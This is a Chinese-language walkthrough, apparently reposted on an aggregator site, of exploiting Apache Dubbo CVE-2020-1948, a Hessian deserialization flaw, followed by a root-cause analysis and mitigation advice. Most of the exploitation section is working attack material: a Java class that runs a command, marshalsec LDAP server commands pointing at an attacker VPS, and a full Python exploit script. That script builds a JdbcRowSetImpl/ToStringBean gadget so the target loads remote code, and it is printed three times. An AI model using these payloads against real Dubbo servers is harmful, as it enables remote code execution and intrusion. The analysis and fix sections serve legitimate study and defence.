昆山商城网站建设公司名高端大气不重名

news/2025/9/23 2:40:42/文章来源:
昆山商城网站建设,公司名高端大气不重名,中山做网站的公司哪家好,百度推广整体优化网站APache Dubbo简介 Dubbo是一个分布式服务框架#xff0c;致力于提供高性能和透明化的RPC远程服务调用方案#xff0c;以及SOA服务治理方案。简单的说#xff0c;dubbo就是个服务框架#xff0c;如果没有分布式的需求#xff0c;其实是不需要用的#xff0c;只有在分布式…APache Dubbo简介 Dubbo是一个分布式服务框架致力于提供高性能和透明化的RPC远程服务调用方案以及SOA服务治理方案。简单的说dubbo就是个服务框架如果没有分布式的需求其实是不需要用的只有在分布式的时候才有dubbo这样的分布式服务框架的需求并且本质上是个服务调用的东西说白了就是个远程服务调用的分布式框架告别Web Service模式中的WSDL以服务者与消费者的方式在dubbo上注册 其核心部分包含: 远程通讯: 提供对多种基于长连接的NIO框架抽象封装包括多种线程模型序列化以及“请求-响应”模式的信息交换方式。集群容错: 提供基于接口方法的透明远程过程调用包括多协议支持以及软负载均衡失败容错地址路由动态配置等集群支持。自动发现: 基于注册中心目录服务使服务消费方能动态的查找服务提供方使地址透明使服务提供方可以平滑增加或减少机器。 下图是官方的工作原理图和解释 async 异步 sync 同步 Provider :暴露服务方称为服务提供者Consumer :调用远程服务方称为服务消费者Rrgister服务注册与发现的中心目录服务称之为服务注册中心Monitor统计服务的调用次数和 时间的日志服务称为服务监控中心Container服务运行容器 Provider将本地提供的远程方法在注册中心进行注册Consumer需要调用时会先去注册中心进行查询根据注册中心返回的结果再去对应的Provider中调用对应的远程方法如果有变更注册中心将基于长连接推送变更数据给Consumer 。 启动注册中心Apache dubbo 推荐使用的注册中心时Apache ZooKeeper注册中心 下载地址Apache ZooKeeper 环境复现 影响版本 Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x docker操作 docker pull dsolab/dubbo:cve-2020-1948 docker run -p 12345:12345 dsolab/dubbo:cve-2020-1948 -d 漏洞利用 编写java代码进行简单的命令执行这里以ping命令为例用检测无回显的dnslog用于验证 import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;public class exp {public exp(){try {java.lang.Runtime.getRuntime().exec(ping zqmp97.dnslog.cn);} catch (java.io.IOException e) {e.printStackTrace();}} } 编译java代码为class文件 javac poc.java 最后得到class文件这里遇到了一下javac -bash command not found的问题 使用如下命令解决 yum install java-1.8.0-openjdk-devel.x86_64 原因下载的时候只执行了yum install java,导致不是完整的jdk 参考链接https://www.cnblogs.com/sirdong/p/11987639.html 启动静态网站服务apache,nginx都可以这里以python 开启80端口的web服务为例 python -m SimpleHTTPServer 80 在另一个终端下载marshalsec,启动LDAP代理服务 下载地址: https://github.com/RandomRobbieBF/marshalsec-jar java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://vps/#exp 777 参考链接https://www.cnblogs.com/afanti/p/11266087.html java 反序列化利用工具 marshalsec 使用简介-CSDN博客 LDAP轻型目录访问协议 英文 Lightweight Directory Access Protocol 是一个开放的中立的工业标准的 应用协议 通过 IP协议 提供访问控制和维护分布式信息的目录信息。轻型目录访问协议 英文 Lightweight Directory Access Protocol是一个开放的中立的工业标准的 应用协议通过 IP协议提供访问控制和维护分布式信息的目录信息。 marshalsec 的用法,使用形式如下 java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.Marshaller [-a] [-v] [-t] [gadget_type [arguments...]] 参数说明 -a生成exploit下的所有payload(例如hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin -t对生成的payloads进行解码测试 -vverbose mode, 展示生成的payloads gadget_type指定使用的payload arguments - payload运行时使用的参数 marshalsec.marshaller指定exploits根目录下的java文件名 编写python的脚本exp.py 在此之前需要安装模块 pip install dubbo-py # exp.py # -*- coding: utf-8 -*-import sysfrom dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object from dubbo.client import DubboClientif len(sys.argv) 4:print(Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL.format(sys.argv[0]))print(\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp.format(sys.argv[0]))sys.exit()client DubboClient(sys.argv[1], int(sys.argv[2]))JdbcRowSetImplnew_object(com.sun.rowset.JdbcRowSetImpl,dataSourcesys.argv[3],strMatchColumns[foo]) JdbcRowSetImplClassnew_object(java.lang.Class,namecom.sun.rowset.JdbcRowSetImpl,) toStringBeannew_object(com.rometools.rome.feed.impl.ToStringBean,beanClassJdbcRowSetImplClass,objJdbcRowSetImpl)resp client.send_request_and_return_response(service_nameorg.apache.dubbo.spring.boot.sample.consumer.DemoService,# 此处可以是 $invoke、$invokeSync、$echo 等通杀 2.7.7 及 CVE 公布的所有版本。method_name$invoke,args[toStringBean])output str(resp) if Fail to decode request due to: RpcInvocation in output:print([!] Target maybe not support deserialization.) elif EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString() in output:print([] Succeed.) else:print([!] Output:)print(output)print([!] Target maybe not use dubbo-remoting library.) # exp.py # -*- coding: utf-8 -*-import sysfrom dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object from dubbo.client import DubboClientif len(sys.argv) 4:print(Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL.format(sys.argv[0]))print(\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp.format(sys.argv[0]))sys.exit()client DubboClient(sys.argv[1], int(sys.argv[2]))JdbcRowSetImplnew_object(com.sun.rowset.JdbcRowSetImpl,dataSourcesys.argv[3],strMatchColumns[foo]) JdbcRowSetImplClassnew_object(java.lang.Class,namecom.sun.rowset.JdbcRowSetImpl,) toStringBeannew_object(com.rometools.rome.feed.impl.ToStringBean,beanClassJdbcRowSetImplClass,objJdbcRowSetImpl)resp client.send_request_and_return_response(service_nameorg.apache.dubbo.spring.boot.sample.consumer.DemoService,# 此处可以是 $invoke、$invokeSync、$echo 等通杀 2.7.7 及 CVE 公布的所有版本。method_name$invoke,args[toStringBean])output str(resp) if Fail to decode request due to: RpcInvocation in output:print([!] Target maybe not support deserialization.) elif EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString() in output:print([] Succeed.) else:print([!] Output:)print(output)print([!] Target maybe not use dubbo-remoting library.) 执行相应的py脚本 python exp.py 目标vps ldap://己方vps:777/exp 出现success的时候说明成功 然后观察dnslog也可以发现回显 同时我们可以留意一下相关的LDAP服务当出现转发成功的时候自然也是成功的 参考文章Apache Dubbo CVE-2020-1948 反序列化漏洞利用-CSDN博客 原理研究 源码版本dubbo v2.7.6 下载地址https://github.com/apache/dubbo-spring-boot-project/tree/35568ff32d3a0fcbbd6b3e14a9f7c0a71b6b08ee 下载后将项目导入IDEA 我们开始分析一下现有的exp poc1 # exp.py # -*- coding: utf-8 -*-import sysfrom dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object from dubbo.client import DubboClientif len(sys.argv) 4:print(Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL.format(sys.argv[0]))print(\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp.format(sys.argv[0]))sys.exit()client DubboClient(sys.argv[1], int(sys.argv[2]))JdbcRowSetImplnew_object(com.sun.rowset.JdbcRowSetImpl,dataSourcesys.argv[3],strMatchColumns[foo]) JdbcRowSetImplClassnew_object(java.lang.Class,namecom.sun.rowset.JdbcRowSetImpl,) toStringBeannew_object(com.rometools.rome.feed.impl.ToStringBean,beanClassJdbcRowSetImplClass,objJdbcRowSetImpl)resp client.send_request_and_return_response(service_nameorg.apache.dubbo.spring.boot.sample.consumer.DemoService,# 此处可以是 $invoke、$invokeSync、$echo 等通杀 2.7.7 及 CVE 公布的所有版本。method_name$invoke,args[toStringBean])output str(resp) if Fail to decode request due to: RpcInvocation in output:print([!] Target maybe not support deserialization.) elif EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString() in output:print([] Succeed.) else:print([!] Output:)print(output)print([!] Target maybe not use dubbo-remoting library.) poc2 from dubbo.codec.hessian2 import Decoder,new_object from dubbo.client import DubboClientclient DubboClient(127.0.0.1, 12345)JdbcRowSetImplnew_object(com.sun.rowset.JdbcRowSetImpl,dataSourceldap://127.0.0.1:8087/#ExportObject,strMatchColumns[foo]) JdbcRowSetImplClassnew_object(java.lang.Class,namecom.sun.rowset.JdbcRowSetImpl,) toStringBeannew_object(com.rometools.rome.feed.impl.ToStringBean,beanClassJdbcRowSetImplClass,objJdbcRowSetImpl)resp client.send_request_and_return_response(service_nameorg.apache.dubbo.spring.boot.demo.consumer.DemoService,method_namerce,args[toStringBean]) 不难发现该漏洞利用链最终是通过JdbcRowSetImpl调用jndi来进行远程代码执行。同时我们发现该gadget中用到了com.rometools.rome.feed.impl.ToStringBean所以Provider的pom.xml中需要添加rometools的引用 我们向dubbo-spring-boot-samples/auto-configure-samples/provider-samplepom.xml 添加依赖 dependencygroupIdcom.rometools/groupIdartifactIdrome/artifactIdversion1.7.0/version /dependency 然后导入依赖 漏洞成因 本次漏洞利用的是 com.rometools.rome.feed.impl.ToStringBean#toString 方法重写了 toString该方法将会调用构造对象的所有 getter 方法 从上面 PoC 可以看到执行 Dubbo 调用时传入的是 ToStringBean 类型参数构造的对象是com.sun.rowset.JdbcRowSetImpl并且 datasource 属性设置的是 JNDI 暴露的 url在调用 JdbcRowSetImpl 的 getDatabaseMetaData 方法时执行 connect 操作下载远端代码在 Service Provider 执行造成攻击。 调起 toString 方法的地方是在 Dubbo Provider 接收 DecodeHandler#received:44 请求在 DecodeableRpcInvocation#decode 反序列化参数的地方 dubbo 默认使用的是 hession2 序列化解析参数执行的是这个方法 org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF 在 hession 反序列化过程中通过下面代码段执行到了 ToStringBean#toString 堆栈利用链 connect:624, JdbcRowSetImpl (com.sun.rowset) getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) toString:158, ToStringBean (com.rometools.rome.feed.impl) toString:129, ToStringBean (com.rometools.rome.feed.impl) beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl) hashCode:180, EqualsBean (com.rometools.rome.feed.impl) hash:339, HashMap (java.util) put:612, HashMap (java.util) doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io) readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io) readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2) decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo) decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo) decode:57, DecodeHandler (org.apache.dubbo.remoting.transport) received:44, DecodeHandler (org.apache.dubbo.remoting.transport) run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher) 修复建议 删除 RpcInvocation 类的 toString 方法中输出的 arguments 参数,防范后反序列化攻击。同时对 Hessian 进行黑白名单加固来防范 Hessian 反序列化攻击。升级 2.7.7 版本并根据https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de 的方法进行参数校验禁止将 Dubbo 服务端端口开放给公网或仅仅只对能够连接至 Dubbo 服务端的可信消费端IP开放Dubbo 协议默认采用 Hessian 作为序列化反序列化方式该反序列化方式存在反序列化漏洞。在不影响业务的情况下建议更换协议以及反序列化方式。具体更换方法可参考http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html 参考文章 https://www.cnblogs.com/JingQ/p/13329083.html https://www.cnblogs.com/zhengjim/p/13204194.html https://www.cnblogs.com/zhengjim/p/13204194.html Apache Dubbo (CVE-2020-1948) 反序列化漏洞及其补丁绕过深度分析

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/911141.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网站建设数据库实训体会定制化软件

绪论 1)信息,消息,信号通信:利用电(或者光)信号传输消息中所包含的信息。信息:消息的内涵。 消息:信息的物理表现形式。(可分为两类连续消息语音,音乐&#x…

网页建站总结报告不一样的婚恋网站怎么做

题目:有n个人围成一圈,顺序排号。从第一个人开始报数(从1到3报数),凡报到3的人退出圈子,问最后留下的是原来第几号的那位。 输入:8 输出:7 用list实现循环遍历的过程 import copy a[1,2,3,4…

中国免费建设网站网址做棋牌网站违法吗

说明 在 Synopsys* VCS* 和 VCS* MX 仿真器中模拟由以下位置生成的 Nios V 处理器系统时,可能会出现该问题: 英特尔 Quartus Prime Pro Edition 软件版本 23.1 至 23.4,或 英特尔 Quartus Prime Standard Edition 软件版本 23.1std 这是由…

网站建设中的英文单词如何用手机制作网页链接

在Python中,浮点数是一种用于表示带有小数部分的数值类型。浮点数可以用来进行各种数学运算,包括加法、减法、乘法和除法等。 以下是Python中使用浮点数的语法示例: # 声明一个浮点数变量number 3.14# 进行浮点数之间的运算a 2.5b 1.3c a…

如何建 网站邵阳经开区网站

在JavaScript中,数据类型是编程中非常重要的概念,它决定了数据的性质、如何存储以及如何操作这些数据。以下是JavaScript中的主要数据类型、它们的区别以及数据类型检测的方式的详细介绍。 JavaScript的主要数据类型 1. 原始数据类型(Primi…

企业网站优化报价怎么给网站 做排名

XSLVGL2.0 开发手册 【XSLVGL2.0】如何在其它线程内更新UI 1、概述2、UI资源锁锁死怎么办?1、概述 项目常常会在其它线程更新UI的状态,但如果直接更新UI会导致UI数据异常从而使得UI挂死。这时只需要使用UI资源锁即可保证UI数据不会异常了。 参考XSLVGL2.0 User Manual 页面…

房地产市场发展趋势成都百度推广账户优化

介绍:在简单工厂模式中,我们提到,工厂方法模式是简单工厂模式的一个延伸,它属于Gof23中设计模式的创建型设计模式。它解决的仍然是软件设计中与创建对象有关的问题。它可以更好的处理客户的需求变化。引入我们继续来说"new&q…

网站开发需要的资料微信开发在哪能看

中午好,我的网工朋友。 都放假了没?龙年将至,都有啥新年计划? 过年,讲究的就是一个热闹,可以暂时告别辛苦的一年,重新整装出发。 热闹可少不了春联啊,红红火火又一年,…

福州整站优化企业网站页面设计

目录 前言引言总体设计系统整体结构图系统流程图 运行环境Python环境TensorFlow 环境Jupyter Notebook环境Pycharm 环境 相关其它博客工程源代码下载其它资料下载 前言 博主前段时间发布了一篇有关方言识别和分类模型训练的博客,在读者的反馈中发现许多小伙伴对方言…

西安咪豆网站建设公司php网站开发实例视频教程

本系列文章主要是我在学习《数值优化》过程中的一些笔记和相关思考,主要的学习资料是深蓝学院的课程《机器人中的数值优化》和高立编著的《数值最优化方法》等,本系列文章篇数较多,不定期更新,上半部分介绍无约束优化,…

网站运营经验分享ppt模板个人网页设计与制作教程

intersect组件是解决纵向联邦学习中的隐私求交问题 fate隐私求交的方式有三种:raw,rsa,dh。raw方式不安全,rsa和dh方式是安全的,dh是基于对称加密的安全交集 rsa是基于RSA(非对称加密)的安全交集,,dh方法也用于安全的…

建个网站有什么用营销渠道有哪些

Renderer2 类 Renderer2 类是 Angular 提供的一个抽象服务,允许在不直接操作 DOM 的情况下操纵应用程序的元素。这是推荐的方法,因为它使得更容易开发可以在没有 DOM 访问权限的环境中渲染的应用程序,比如在服务器上、在 Web Worker 中或在原…

最好的网站设计公司源码 php桂林市区好玩的地方

随着信息化时代的到来,煤矿行业也迎来了前所未有的机遇与挑战。在这个充满活力和竞争的领域,技术的革新对于提高生产效率、保障安全生产至关重要。而随着时间敏感网络(TSN)技术的不断发展,TSN工业交换机作为其关键组成…

无锡制作网站价格黄页88企业名录

使用社区版,您可以在本地服务器上安装 ONLYOFFICE 文档,并将在线编辑器与 ONLYOFFICE 协作平台或其他热门系统集成在一起。 ONLYOFFICE 文档是什么 ONLYOFFICE 文档是一个功能强大的文档编辑器,支持处理文本文档、电子表格、演示文稿、可填写…

免费试用网站有哪些网上网络推广

系列文章目录 文章目录 系列文章目录前言一、UR5 URDF 代码二、base_link三、shoulder_pan_joint四、shoulder_pan_trans五、ROS base_link 坐标系到 UR 机器人 Base 坐标系的转换六、与全零TCP&#xff08;工具坐标系&#xff09;重合的工具链接 前言 一、UR5 URDF 代码 <…

做微信的微网站费用多少c 网站建设设计报告

Autofac.Annotation框架是我用.netcore写的一个DI框架&#xff0c;基于Autofac参考 Spring注解方式所有容器的注册和装配,切面,拦截器等都是依赖标签来完成。开源地址&#xff1a;https://github.com/yuzd/Autofac.Annotation本期讲的是最新实现的功能有条件的DI有些时候我们想…

喀什网站制作阿里巴巴对外做网站吗

摘要&#xff1a; 容器开启数据服务之旅系列&#xff08;二&#xff09;&#xff1a;Kubernetes如何助力Spark大数据分析 &#xff08;二&#xff09;&#xff1a;Kubernetes如何助力Spark大数据分析 概述 本文为大家介绍一种容器化的数据服务Spark OSS on ACK&#xff0c;允许…

百度网站抓取室内装潢设计师

最近我们在想使用我们提供的代码库进行元数据提供的时候&#xff0c;启动的服务报 CORS 问题。 如果你的 Gitea 服务器是直接暴露给外部使用的话&#xff0c;可以在 Gitea 的配置文件中添加下面的配置&#xff1a; [cors] ENABLED true ALLOW_DOMAIN *在完成上面的…

红色旅游网站页面建设深圳哪里有做网站的公司

云服务、API、SDK&#xff0c;调试&#xff0c;查看&#xff0c;我都行 阅读短文您可以学习到&#xff1a;人工智能AI智能的问答管理、全面的对话管理、高效训练部署 1.IntelliJ IDEA 之API插件介绍 API插件支持 VS Code IDE、IntelliJ IDEA等平台、以及华为云自研 CodeArts …

网站推广有哪些常用的方法dedecms两网站共享用户名

写在前面&#xff1a;最近在群里看到一个这样的直播电商的场景觉得还是挺有趣的&#xff0c;于是就想用Python来实现。 需求描述&#xff1a;根据主播直播时间段结合销售订单的付款时间判断所属销售的归属 生成主播在线直播时间段数据 from datetime import datetime, time…